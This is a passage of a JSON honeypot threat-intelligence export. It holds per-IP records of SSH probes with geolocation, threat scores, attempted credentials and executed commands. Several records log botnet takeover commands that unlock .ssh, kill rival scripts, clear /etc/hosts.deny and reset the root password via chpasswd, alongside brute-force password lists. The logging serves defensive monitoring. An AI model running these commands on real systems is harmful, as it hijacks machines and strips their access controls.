      "threat_score": 10.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.6
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-19T06:42:12.351000+00:00",
        "last_seen_30d": "2026-05-19T06:43:29.149000+00:00",
        "days_since_last_seen": 12
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "186.149.204.12": {
      "attack_count": 2,
      "first_seen": "2026-05-28T11:03:25.714Z",
      "last_seen": "2026-05-28T11:03:39.484Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Dominican Republic",
      "country_code": "DO",
      "city": "Santo Domingo Este",
      "asn": 28118,
      "as_org": "ALTICE DOMINICANA S.A.",
      "threat_score": 15.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.9
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-28T11:03:25.714000+00:00",
        "last_seen_30d": "2026-05-28T11:04:42.785000+00:00",
        "days_since_last_seen": 3
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "190.121.239.228": {
      "attack_count": 2,
      "first_seen": "2026-05-24T07:24:36.064Z",
      "last_seen": "2026-05-24T07:26:36.068Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Venezuela",
      "country_code": "VE",
      "city": "Caracas",
      "asn": 27717,
      "as_org": "Corporacion Digitel C.A.",
      "threat_score": 14.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.77
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-24T07:24:36.064000+00:00",
        "last_seen_30d": "2026-05-24T07:27:43.389000+00:00",
        "days_since_last_seen": 7
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "190.140.23.40": {
      "attack_count": 2,
      "first_seen": "2026-05-08T09:26:43.588Z",
      "last_seen": "2026-05-08T09:26:56.399Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Panama",
      "country_code": "PA",
      "city": "Panama City",
      "asn": 18809,
      "as_org": "Cable Onda",
      "threat_score": 4.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.23
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-08T09:26:43.588000+00:00",
        "last_seen_30d": "2026-05-08T09:28:05.031000+00:00",
        "days_since_last_seen": 23
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "190.143.251.59": {
      "attack_count": 2,
      "first_seen": "2026-05-19T22:27:30.518Z",
      "last_seen": "2026-05-19T22:27:42.527Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Nicaragua",
      "country_code": "NI",
      "city": "Managua",
      "asn": 27742,
      "as_org": "Amnet Telecomunicaciones S.A.",
      "threat_score": 10.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.6
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-19T22:27:30.518000+00:00",
        "last_seen_30d": "2026-05-19T22:28:50.720000+00:00",
        "days_since_last_seen": 12
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "190.183.28.211": {
      "attack_count": 2,
      "first_seen": "2026-05-16T14:07:24.485Z",
      "last_seen": "2026-05-16T14:07:38.087Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Argentina",
      "country_code": "AR",
      "city": "Resistencia",
      "asn": 20207,
      "as_org": "Gigared S.A.",
      "threat_score": 8.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.5
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-16T14:07:24.485000+00:00",
        "last_seen_30d": "2026-05-16T14:08:41.588000+00:00",
        "days_since_last_seen": 15
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "190.242.109.42": {
      "attack_count": 2,
      "first_seen": "2026-05-15T05:29:43.751Z",
      "last_seen": "2026-05-15T05:29:43.754Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Colombia",
      "country_code": "CO",
      "city": null,
      "asn": 262191,
      "as_org": "LIBERTY NETWORKS DE COLOMBIA S.A.S",
      "threat_score": 8.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.47
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-15T05:29:43.751000+00:00",
        "last_seen_30d": "2026-05-15T05:30:54.064000+00:00",
        "days_since_last_seen": 16
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "223.112.39.21": {
      "attack_count": 2,
      "first_seen": "2026-05-20T16:36:19.441Z",
      "last_seen": "2026-05-20T16:36:20.374Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": "Nanjing",
      "asn": 56046,
      "as_org": "China Mobile communications corporation",
      "threat_score": 11.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.63
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-20T16:36:19.441000+00:00",
        "last_seen_30d": "2026-05-20T16:37:21.190000+00:00",
        "days_since_last_seen": 11
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "37.186.119.116": {
      "attack_count": 2,
      "first_seen": "2026-05-25T17:57:53.688Z",
      "last_seen": "2026-05-25T17:58:24.976Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Armenia",
      "country_code": "AM",
      "city": "Yerevan",
      "asn": 49800,
      "as_org": "GNC-Alfa CJSC",
      "threat_score": 15.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.8
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-25T17:57:53.688000+00:00",
        "last_seen_30d": "2026-05-25T17:59:36.259000+00:00",
        "days_since_last_seen": 6
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "38.17.154.36": {
      "attack_count": 2,
      "first_seen": "2026-05-18T17:00:01.503Z",
      "last_seen": "2026-05-18T17:00:14.000Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Venezuela",
      "country_code": "VE",
      "city": "La Guaira",
      "asn": 272122,
      "as_org": "TELECOMUNICACIONES G-NETWORK, C.A.",
      "threat_score": 10.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.57
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-18T17:00:01.503000+00:00",
        "last_seen_30d": "2026-05-18T17:01:21.876000+00:00",
        "days_since_last_seen": 13
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "58.47.121.85": {
      "attack_count": 2,
      "first_seen": "2026-05-23T01:38:44.556Z",
      "last_seen": "2026-05-23T01:39:12.692Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 12.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-23T01:38:44.556000+00:00",
        "last_seen_30d": "2026-05-23T01:40:17.181000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "61.239.120.246": {
      "attack_count": 2,
      "first_seen": "2026-05-22T10:51:23.596Z",
      "last_seen": "2026-05-22T10:51:36.627Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Hong Kong",
      "country_code": "HK",
      "city": null,
      "asn": 9269,
      "as_org": "Hong Kong Broadband Network Ltd.",
      "threat_score": 12.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.7
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-22T10:51:23.596000+00:00",
        "last_seen_30d": "2026-05-22T10:52:37.734000+00:00",
        "days_since_last_seen": 9
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "62.89.29.55": {
      "attack_count": 2,
      "first_seen": "2026-05-27T23:24:21.164Z",
      "last_seen": "2026-05-27T23:24:52.406Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Armenia",
      "country_code": "AM",
      "city": "Yerevan",
      "asn": 49800,
      "as_org": "GNC-Alfa CJSC",
      "threat_score": 16.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.87
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-27T23:24:21.164000+00:00",
        "last_seen_30d": "2026-05-27T23:25:53.899000+00:00",
        "days_since_last_seen": 4
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "72.27.0.180": {
      "attack_count": 2,
      "first_seen": "2026-05-23T07:32:22.668Z",
      "last_seen": "2026-05-23T07:34:22.672Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Jamaica",
      "country_code": "JM",
      "city": "Kingston",
      "asn": 30689,
      "as_org": "FLOW",
      "threat_score": 13.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-23T07:32:22.668000+00:00",
        "last_seen_30d": "2026-05-23T07:45:30.685000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "78.189.86.206": {
      "attack_count": 2,
      "first_seen": "2026-05-17T13:42:23.857Z",
      "last_seen": "2026-05-17T13:42:37.150Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "T\u00fcrkiye",
      "country_code": "TR",
      "city": null,
      "asn": 9121,
      "as_org": "Turk Telekom",
      "threat_score": 9.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.53
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-17T13:42:23.857000+00:00",
        "last_seen_30d": "2026-05-17T13:43:39.775000+00:00",
        "days_since_last_seen": 14
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "79.131.24.32": {
      "attack_count": 2,
      "first_seen": "2026-05-11T05:21:53.000Z",
      "last_seen": "2026-05-11T05:22:05.245Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Greece",
      "country_code": "GR",
      "city": "Nea Liosia",
      "asn": 6799,
      "as_org": "OTEnet S.A.",
      "threat_score": 5.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.33
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-11T05:21:53+00:00",
        "last_seen_30d": "2026-05-11T05:23:11.575000+00:00",
        "days_since_last_seen": 20
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "91.202.145.125": {
      "attack_count": 2,
      "first_seen": "2026-05-21T05:56:18.661Z",
      "last_seen": "2026-05-21T05:56:32.242Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Ukraine",
      "country_code": "UA",
      "city": "Uman",
      "asn": 44664,
      "as_org": "TOV company M-Tel",
      "threat_score": 11.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.67
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-21T05:56:18.661000+00:00",
        "last_seen_30d": "2026-05-21T05:57:39.254000+00:00",
        "days_since_last_seen": 10
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "91.230.168.80": {
      "attack_count": 2,
      "first_seen": "2026-05-13T08:27:22.970Z",
      "last_seen": "2026-05-13T08:27:22.970Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Hillsboro",
      "asn": 213412,
      "as_org": "ONYPHE SAS",
      "threat_score": 81.3,
      "threat_level": "critical",
      "score_components": {
        "frequency": 19.6,
        "persistence": 21.7,
        "diversity": 20,
        "spread": 20,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 91,
        "days_active_30d": 26,
        "ports_targeted_30d": 37,
        "honeypots_triggered_30d": 4,
        "first_seen_30d": "2026-05-06T13:57:26+00:00",
        "last_seen_30d": "2026-05-31T21:10:15.166000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 54,
        "Honeytrap": 33,
        "Cowrie": 2,
        "Dionaea": 2
      }
    },
    "170.106.105.170": {
      "attack_count": 623,
      "first_seen": "2026-05-16T20:24:47.573Z",
      "last_seen": "2026-05-20T02:36:43.943Z",
      "sessions": 55,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "claude"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "!^)$!(*&",
        "123456ll",
        "1234qwer",
        "2016",
        "20192019",
        "234",
        "991992",
        "Aa98637381",
        "Anna",
        "CHINAIDC",
        "P455wOrd",
        "Welcome@2019",
        "aa",
        "adminimda",
        "audrey123",
        "blahblah2",
        "carter",
        "claude"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"root:ADmuNn38UKda\"|chpasswd|bash",
        "echo \"root:ULhSK4s9a7mi\"|chpasswd|bash",
        "echo \"root:btH85Nts6kC6\"|chpasswd|bash",
        "echo \"root:qHgcz9q8jphg\"|chpasswd|bash",
        "echo \"root:uEOn6b8iyPL2\"|chpasswd|bash",
        "echo \"root:vipH8OKk0n9I\"|chpasswd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Santa Clara",
      "asn": 132203,
      "as_org": "Tencent Building, Kejizhongyi Avenue",
      "threat_score": 28.4,
      "threat_level": "low",
      "score_components": {
        "frequency": 28.7,
        "persistence": 4.2,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.63
      },
      "reputation_metrics": {
        "total_events_30d": 744,
        "days_active_30d": 5,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-16T20:24:47.573000+00:00",
        "last_seen_30d": "2026-05-20T02:37:53.332000+00:00",
        "days_since_last_seen": 11
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 623,
        "Suricata": 121
      }
    },
    "178.185.136.57": {
      "attack_count": 386,
      "first_seen": "2026-05-13T19:27:31.120Z",
      "last_seen": "2026-05-21T22:32:04.821Z",
      "sessions": 42,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "ayjtnzjc",
        "robot",
        "fox",
        "ftpuser",
        "hrm",
        "mailtest",
        "socks"
      ],
      "passwords_attempted": [
        "123",
        "3245gs5662d34",
        "345gs5662d34",
        "+++",
        "12345678a!",
        "2060",
        "314314",
        "521521",
        "56525652",
        "Qweasd123",
        "Qwerty321",
        "Root1234",
        "Sz123456.",
        "Ww12345678",
        "Zxcvbnm,./",
        "aa123456@",
        "aboubacar",
        "adminsys",
        "clone",
        "dreambox"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"robot\\nuGDpZClCqjM9\\nuGDpZClCqjM9\\n\"|passwd",
        "echo \"root:oATkV8PmAM38\"|chpasswd|bash",
        "echo \"yzOeGur5kZbZ\\nvEp7wc5AeYzd\\nvEp7wc5AeYzd\\n\"|passwd",
        "echo -e \"robot\\nuGDpZClCqjM9\\nuGDpZClCqjM9\"|passwd|bash",
        "echo -e \"yzOeGur5kZbZ\\nvEp7wc5AeYzd\\nvEp7wc5AeYzd\"|passwd|bash",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "Russia",
      "country_code": "RU",
      "city": "Neryungri",
      "asn": 12389,
      "as_org": "Rostelecom",
      "threat_score": 30.9,
      "threat_level": "low",
      "score_components": {
        "frequency": 26.9,
        "persistence": 7.5,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.67
      },
      "reputation_metrics": {
        "total_events_30d": 485,
        "days_active_30d": 9,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-13T19:27:31.120000+00:00",
        "last_seen_30d": "2026-05-21T22:33:10.387000+00:00",
        "days_since_last_seen": 10
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 386,
        "Suricata": 99
      }
    },
    "221.127.183.20": {
      "attack_count": 324,
      "first_seen": "2026-05-04T00:39:29.006Z",
      "last_seen": "2026-05-04T01:19:26.291Z",
      "sessions": 38,
      "ports": [],
      "usernames_attempted": [
        "ubuntu",
        "345gs5662d34",
        "admin",
        "hadoop",
        "root",
        "alireza",
        "frappe",
        "insserver",
        "testuser",
        "ark",
        "bitrix",
        "datauser",
        "ftptest",
        "lsfadmin",
        "myadmin",
        "otrs",
        "postgres"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "123456",
        "admin",
        "123132123",
        "12345",
        "123456789",
        "123qweasdzxc",
        "888",
        "@admin1234",
        "ADMIN",
        "QNX",
        "a123456",
        "aA123456.",
        "alireza",
        "datauser",
        "ftptest2022",
        "hadoop@123",
        "insserver",
        "newpassword"
      ],
      "commands_executed": [
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "lockr -ia .ssh",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"insserver\\nh3LmQXJDvLtQ\\nh3LmQXJDvLtQ\\n\"|passwd",
        "echo \"testuser123\\nAEtUt7nrmAQ8\\nAEtUt7nrmAQ8\\n\"|passwd",
        "echo -e \"insserver\\nh3LmQXJDvLtQ\\nh3LmQXJDvLtQ\"|passwd|bash",
        "echo -e \"testuser123\\nAEtUt7nrmAQ8\\nAEtUt7nrmAQ8\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Hong Kong",
      "country_code": "HK",
      "city": null,
      "asn": 9304,
      "as_org": "HGC Global Communications Limited",
      "threat_score": 3.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 26.1,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 407,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-04T00:39:29.006000+00:00",
        "last_seen_30d": "2026-05-04T01:20:28.529000+00:00",
        "days_since_last_seen": 27
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 324,
        "Suricata": 83
      }
    },
    "50.6.8.71": {
      "attack_count": 274,
      "first_seen": "2026-05-02T22:02:43.247Z",
      "last_seen": "2026-05-02T22:51:02.626Z",
      "sessions": 137,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Ashburn",
      "asn": 31898,
      "as_org": "Oracle Corporation",
      "threat_score": 4.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 27.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 566,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-02T22:00:58.866000+00:00",
        "last_seen_30d": "2026-05-02T22:56:50.171000+00:00",
        "days_since_last_seen": 29
      },
      "honeypot_breakdown_30d": {
        "Suricata": 292,
        "Cowrie": 274
      }
    },
    "103.13.215.238": {
      "attack_count": 262,
      "first_seen": "2026-05-14T14:28:27.359Z",
      "last_seen": "2026-05-14T15:07:03.351Z",
      "sessions": 29,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "linux",
        "ubuntu",
        "admin",
        "andres",
        "christelle",
        "eadmin",
        "freelancer",
        "jupyter",
        "ops",
        "pakchoi",
        "shalini",
        "svn",
        "whmapi",
        "youssef"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "linux123",
        "12345678",
        "12345678Ab",
        "123Qwe123C",
        "1qaz2wsX",
        "2025",
        "Abc@2025",
        "Dm123456",
        "Kermit123@",
        "Password@12345",
        "QWEqwe123.",
        "Root1234.",
        "YourPassword@6942",
        "admin2025",
        "andres",
        "christelle",
        "eadmin",
        "freelancer"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"linux123\\nR6XN8IO6nPy5\\nR6XN8IO6nPy5\\n\"|passwd",
        "echo \"root:nb7DH5VXbcwY\"|chpasswd|bash",
